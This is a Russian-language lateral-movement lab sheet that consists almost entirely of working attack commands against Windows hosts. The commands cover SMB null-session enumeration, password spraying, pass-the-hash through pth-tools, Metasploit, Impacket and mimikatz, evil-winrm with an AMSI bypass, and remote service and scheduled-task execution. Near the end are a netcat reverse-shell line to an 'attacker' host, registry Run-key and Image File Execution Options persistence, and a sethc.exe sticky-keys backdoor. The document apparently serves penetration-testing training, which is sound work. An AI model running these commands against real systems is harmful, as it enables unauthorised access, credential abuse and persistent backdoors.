Лабораторная работа по горизонтальному перемещению

Предварительная разведка

Настроим политику безопасности для включения NULL-сессий в SMB:

```
Local policy -> Security options -> Network access: Let Everyone
permissions apply to anonymous users
Local policy -> Security options -> Network access: Do not allow anonymous
enumeration of SAM accounts
Local policy -> Security options -> Named Pipes that can be accessed
anonymously - указать пайп SAMR
```

Энумерация сервисов:

```
$ rpcdump.py -port 135 10.0.2.X
```

Анонимная энумерация:

```
$ rpcclient -c "enumdomusers" -N 10.0.2.X -U ""
$ python nullinux.py 10.0.2.X
$ enum4linux 10.0.2.X -U
```

Password spraying и PTH

Распыление паролей SMB:

```
$ crackmapexec smb 10.0.2.X -u vagrant -p vagrant
```

Примеры выполнения техники PTH с помощью встроенных в Kali утилит:

```
$ SMBHASH=aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
pth-winexe -U Administrator //10.0.2.X cmd
$ export
SMBHASH=aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
$ pth-winexe -U admin% //target cmd
$ pth-wmic -U admin% //target "select Name from Win32_UserAccount"
$ pth-wmis -U admin% //target "cmd.exe /c whoami > c:\out.txt"
$ pth-smbclient -U admin% //target/c$
$ pth-rpcclient -U admin% //target
$ pth-sqsh -U admin -S target # Microsoft SQL Server
$ pth-curl http://target/exec?cmd=ipconfig
```

```
$ pth-net rpc group ADDMEM 'Administrators' username -S target -U
domain/user
```

Использование техники PTH в Metasploit Framework:

```
msf> use auxiliary/scanner/smb/smb_login
msf> set RHOSTS 10.0.2.X
msf> set smbuser vagrant
msf> set SMBPASS
aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
msf> exploit
```

Средства Lateral от Impacket

Установка актуальной версии impacket:

```
$ pip install impacket
```

Применение PSExec:

```
$ psexec.py VAGRANT-2008R2/vagrant:vagrant@10.0.2.X whoami
$ psexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
VAGRANT-2008R2/Administrator@10.0.2.X whoami
```

Применение SMBExec:

```
$ smbexec.py VAGRANT-2008R2/vagrant:vagrant@10.0.2.X
```

Ручная настройка сервиса:

```
$ services.py vagrant:vagrant@10.0.2.X list
$ services.py vagrant:vagrant@10.0.2.X create -name 1 -display 1 -path
'mkdir C:\pwned'
$ services.py vagrant:vagrant@10.0.2.X start -name 1
$ services.py vagrant:vagrant@10.0.2.X delete -name 1
```

Использование запланированных задач:

```
$ atexec.py VAGRANT-2008R2/vagrant:vagrant@10.0.2.X systeminfo
```

Использование DCERPC:

```
$ wmiexec.py VAGRANT-2008R2/vagrant:vagrant@10.0.2.X whoami
```

Вариант без SMB:

```
$ wmiexec.py -nooutput VAGRANT-2008R2/vagrant:vagrant@10.0.2.X "mkdir
c:\pwn2"
```

Работа с реестром:

```
$ reg.py VAGRANT-2008R2/vagrant:vagrant@10.0.2.X query -keyName
HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -s
```

Использование DCOM:

```
$ dcomexec.py VAGRANT-2008R2/vagrant:vagrant@10.0.2.X whoami
```

WinRM

Применение evil-winrm:

```
$ evil-winrm -i 10.0.2.X -u vagrant -p vagrant -s /opt/scripts
$ evil-winrm -i 10.0.2.X -u Administrator -H
e02bc503339d51f71d913c245d35b50b
evil-winrm> upload file.txt
evil-winrm> download file.txt
evil-winrm> Bypass-4MSI
evil-winrm> Invoke-Mimikatz.ps1 # local script
```

RDP

Подключение по RDP с монтированием сетевого диска:

```
$ xfreerdp /u:vagrant /p:vagrant /v:10.0.2.X /size:1920x1000
/drive:/home/kali/share,sharefolder /cert:ignore
```

Пример работы с режимом Restricted Admin (работает начиная с Windows Server 2012 R2):

```
$ xfreerdp /v:10.0.2.X /u:admin /pth:31d6cfe0d16ae931b73c59d7e0c089c0
```

Средства Windows

PSexec, классическая утилита для выполнения команд на удаленном хосте:

```
cmd> psexec.exe \\10.0.2.X -s -u VAGRANT-2008R2\vagrant -p vagrant ipconfig
cmd> psexec.exe \\10.0.2.X -s -u VAGRANT-2008R2\vagrant -p vagrant cmd.exe
cmd> psexec.exe \\10.0.2.X -i 1 -s -u VAGRANT-2008R2\vagrant -p vagrant
regedit
```

Настройка WinRM:

```
PS> winrm quickconfig
PS> winrm set winrm/config/client '@{TrustedHosts="10.0.2.X"}'
```

Подключение через winrs:

```
PS> winrs.exe -u vagrant -r:10.0.2.X cmd
```

Альтернатива - PowerShell

```
PS> $username = 'vagrant';
PS> $password = 'vagrant';
PS> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS> $credential = New-Object System.Management.Automation.PSCredential
$username, $securePassword;
PS> Enter-PSSession -Computername 10.0.2.X -Credential $credential
PS> Invoke-Command -Computername 10.0.2.X -Credential $credential
-ScriptBlock {whoami}
```

Работа с WMI:

```
cmd> copy 1.bat \\10.0.2.X\C$\
cmd> wmic.exe /user:vagrant /password:vagrant /node:10.0.2.X process call
create '"c:\1.bat"'
```

Для работы с остальными средствами необходимо настроить сессию и проверить доступ к машине:

```
cmd> runas /netonly /user:VAGRANT-2008R2\vagrant cmd.exe
cmd> dir \\10.0.2.X\C$
```

Альтернативный вариант установки сессии при наличии NTLM-хэша - подмена учетных данных с помощью mimikatz:

```
cmd> mimikatz.exe
mimikatz> privilege::debug
mimikatz> token::elevate
mimikatz> sekurlsa::pth /domain:VAGRANT-2008R2 /user:vagrant
/ntlm:e02bc503339d51f71d913c245d35b50b
```

Работа с сервисами:

```
cmd> sc.exe \\10.0.2.X create myservice binPath= "mkdir c:\pwn_win" start=
auto
```

```
cmd> sc.exe \\10.0.2.X start myservice
cmd> sc.exe \\10.0.2.X stop myservice
cmd> sc.exe \\10.0.2.X delete myservice
```

Работа с запланированными задачами:

```
cmd> schtasks /s 10.0.2.X /RU "SYSTEM" /create /tn "mytask1" /tr "mkdir
c:\pwn_sched" /sc ONCE /sd 01/01/1970 /st 00:00
cmd> schtasks /s 10.0.2.X /run /TN "mytask1"
cmd> schtasks /s 10.0.2.X /TN "mytask1" /DELETE /F
```

Для legacy-систем:

```
cmd> at.exe \\10.0.2.X 13:37 "cmd /c copy \\10.0.2.Y\a\nc.exe && nc -e
\windows\system32\cmd.exe attacker 8888"
```

Работа с реестром:

```
cmd> reg.exe add
\\10.0.2.X\HKLM\software\microsoft\windows\currentversion\run /v testprog
/t REG_SZ /d "<payload>"

cmd> reg.exe add "\\10.0.2.Xi\HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t
reg_sz /d "<payload>"
```

Закладка для RDP:

```
cmd> reg.exe add "\\10.0.2.X\HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t
reg_sz /d "\windows\system32\cmd.exe"
```